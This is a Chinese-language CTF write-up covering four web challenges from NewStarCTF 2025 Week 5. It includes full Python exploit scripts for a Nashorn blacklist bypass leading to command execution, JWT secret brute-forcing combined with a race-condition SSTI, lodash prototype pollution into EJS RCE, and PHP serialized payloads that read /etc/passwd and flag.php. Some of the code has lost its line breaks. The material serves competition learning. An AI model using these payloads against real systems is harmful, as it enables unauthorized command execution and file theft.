NewStarCTF2025-Week5-Web
目录
1、眼熟的计算器
2、废弃的网站
3、小W和小K的故事(最终章)
4、Binary Blog
1、眼熟的计算器
反编译jar包看源码

做了黑名单,需要绕过,然后执行命令
Exp:
import requests
import urllib.parse
import rehost = "http://8.147.132.32:38529"
url = f"{host}/calc"# 绕过黑名单: "java.lang.Runtime", "new"
# 使用字符串拼接 + 反射获取 Scanner 构造器 + newInstance 调用
exploit_js = r'''
var rtName = 'java.lang.Run' + 'time';
var Runtime = Java.type(rtName);
var runtime = Runtime.getRuntime();
var p = runtime.exec('cat /flag');
var is = p.getInputStream();
var Scanner = Java.type('java.util.Scanner');
var InputStream = Java.type('java.io.InputStream');
var StringClass = Java.type('java.lang.String');
var constr = Scanner.class.getConstructor(InputStream.class, StringClass.class);
var n = 'n'; var e = 'e'; var w = 'w';
var methodName = n + e + w + 'Instance';
var scanner = constr[methodName](is, 'UTF-8');
scanner.useDelimiter('\\A');
var result = scanner.hasNext() ? scanner.next() : '';
if (result === '') {var es = p.getErrorStream();var constr_es = Scanner.class.getConstructor(InputStream.class, StringClass.class);var scanner_es = constr_es[methodName](es, 'UTF-8');scanner_es.useDelimiter('\\A');result = scanner_es.hasNext() ? scanner_es.next() : '';
}
scanner.close();
result;
'''def send_request(content):encoded = urllib.parse.quote(content)target = url + "?content=" + encodedtry:r = requests.get(target, timeout=30)return r.textexcept Exception as e:print("Request error:", e)return Nonedef main():print("Sending exploit payload...")text = send_request(exploit_js)if text:# 提取 flagmatch = re.search(r'flag\{[^}]*\}', text)if match:print("Flag found:", match.group(0))else:print("Flag not found in output. Raw response:")print(text)else:print("Request failed.")if __name__ == "__main__":main()

2、废弃的网站
给了源码,结合提示,条件竞争打ssti
Exp:
import requests
import re
import time
import jwt
import hashlib
import concurrent.futuresbase_url = "http://8.147.132.32:13440"# Step 1: Get running time and guest JWT
r = requests.get(base_url + '/', cookies={'session': 'invalid'})
text = r.text
match = re.search(r'System has been running (\d+) seconds.', text)
if not match:print("Failed to get running time.")exit(1)
running = int(match.group(1))guest_jwt = r.cookies.get('session')
if not guest_jwt:print("Failed to get guest JWT.")exit(1)# Step 2: Brute force start time (wider range)
current = int(time.time())
correct_secret = None
for offset in range(-60, 61):candidate = current - running + offsetsecret = hashlib.sha256(str(candidate).encode()).hexdigest()try:decoded = jwt.decode(guest_jwt, secret, algorithms=['HS256'])if decoded.get('role') == 'guest' and decoded.get('name') == 'Guest User':correct_secret = secretprint(f"Secret found: start_time = {candidate}")breakexcept:passif not correct_secret:print("Failed to find correct secret. Current time:", current, "Running:", running)exit(1)# Step 3: Universal SSTI RCE payload (no hardcoded index)
ssti = r'''
{{ lipsum.__globals__["os"].popen("cat /flag").read() }}
'''# Step 4: Forge JWTs
admin_jwt = jwt.encode({"id": 1, "role": "admin", "name": "Administrator"
}, correct_secret, algorithm='HS256')exploit_jwt = jwt.encode({"id": 2, "role": "guest", "name": ssti
}, correct_secret, algorithm='HS256')# Step 5: Race condition functions
def send_admin():return requests.get(base_url + '/admin', cookies={'session': admin_jwt}, timeout=15).textdef send_exploit():return requests.get(base_url + '/', cookies={'session': exploit_jwt}, timeout=15).text# Step 6: Exploit with retry
def attempt():with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:admin_future = executor.submit(send_admin)time.sleep(0.07) # Critical: let admin request enter admin_requiredexploit_future = executor.submit(send_exploit)admin_text = admin_future.result()exploit_text = exploit_future.result()match = re.search(r'flag\{[^}]*\}', admin_text)if match:print("FLAG:", match.group(0))return Truereturn False# Step 7: Run multiple attempts
for i in range(50):print(f"Attempt {i + 1}/50...")if attempt():breaktime.sleep(0.3)
else:print("Failed after 50 attempts. Try again.")

3、小W和小K的故事(最终章)
考察原型链污染,题目使用固定种子预测 Admin 密码后登录;
通过 /addUser 路由中的 lodash.defaultsDeep(users, req.body)向全局 Object.prototype 注入 client=true 和恶意 escapeFunction;
最终,当访问 / 路由触发 res.render('index', ...) 渲染 EJS 模板时,EJS 会误将全局原型链上的恶意属性视为有效渲染选项并执行 escapeFunction,从而实现 RCE 获取 Flag。
Exp:
import requests
import json
import re
import sys# --- Configuration ---
TARGET_URL = "https://eci-2ze0q0ggj5u9py52mu38.cloudeci1.ichunqiu.com:3000"
ADMIN_USERNAME = 'admin'
PRNG_SEED = 114514requests.packages.urllib3.disable_warnings()# --- PRNG Calculation ---
class PRNG:MODULUS = 998244353MULTIPLIER = 48271CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"def __init__(self, seed):self.seed = seed % self.MODULUSdef next_int(self):self.seed = (self.seed * self.MULTIPLIER) % self.MODULUSreturn self.seeddef get_random_int(self, min_val, max_val):return min_val + (self.next_int() % (max_val - min_val))def get_random_string(self, length):result = ""for _ in range(length):random_index = self.get_random_int(0, len(self.CHARSET))result += self.CHARSET[random_index]return resultdef calculate_admin_password(seed):rng = PRNG(seed)rng.get_random_string(16) # Session Secret (State change)return rng.get_random_string(16) # Admin Password# --- Main Exploit Function ---
def exploit_rce():session = requests.Session()# 1. Calculate password and loginadmin_password = calculate_admin_password(PRNG_SEED)print(f"🔑 Admin Password: {admin_password}")login_url = f"{TARGET_URL}/login"login_payload = {"username": ADMIN_USERNAME, "password": admin_password}try:session.post(login_url, json=login_payload, allow_redirects=False, verify=False)except requests.exceptions.RequestException as e:print(f"❌ Login error: {e}");sys.exit(1)if 'session' not in session.cookies:print("❌ Login failed. Exiting.");sys.exit(1)print("✅ Logged in.")# 2. Prototype Pollution Payloadrce_payload_value = f"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); //"pollution_payload = {"constructor": {"prototype": {"client": True,"escapeFunction": rce_payload_value}}}# 3. Trigger Pollution via /addUser (lodash.defaultsDeep)add_user_url = f"{TARGET_URL}/addUser"try:session.post(add_user_url, json=pollution_payload, allow_redirects=False, verify=False)print("✅ Pollution payload sent.")except requests.exceptions.RequestException as e:print(f"❌ Pollution request error: {e}");sys.exit(1)# 4. Trigger EJS RCE (GET /)trigger_url = f"{TARGET_URL}/"print("🔥 Triggering RCE...")try:response = session.get(trigger_url, verify=False)flag_match = re.search(r'ichiq\{[a-zA-Z0-9_-]+\}', response.text)if flag_match:print("\n🎉 **Flag Found!** 🎉")print("====================================")print(f"FLAG: **{flag_match.group(0)}**")print("====================================")else:print("\n🤔 Flag not matched. Check response snippet:")print(response.text[:500])except requests.exceptions.RequestException as e:print(f"❌ RCE trigger error: {e}")if __name__ == "__main__":exploit_rce()

4、Binary Blog
尝试登录admin未成功,随便注册一个账号进去看看

测了下功能点,发现存在文件上传点

随便传了个东西,注意到报错反序列化失败

因为不清楚它反序列化的情况,我们直接发布博客导出看看dat文件的内容


注意到其中template默认是default.php,尝试换成其他文件,比如/etc/passwd
发现存在任意文件读取漏洞
Payload:
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:11:"/etc/passwd";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

尝试使用伪协议读取flag.php
Payload:
a:4:{s:9:"timestamp";i:1762009646;s:7:"version";s:3:"1.0";s:4:"blog";O:4:"Blog":8:{s:2:"id";i:5;s:5:"title";s:1:"1";s:7:"content";s:1:"1";s:7:"user_id";i:3;s:8:"username";s:3:"123";s:10:"created_at";s:19:"2025-11-01 23:07:20";s:10:"updated_at";s:19:"2025-11-01 23:07:20";s:8:"template";s:55:"php://filter/convert.iconv.SJIS.UCS-4/resource=flag.php";}s:9:"signature";s:64:"72ced227a7068d0c078eb405a13fca4b442e19b133d5e3e27981b928d1f86dce";}

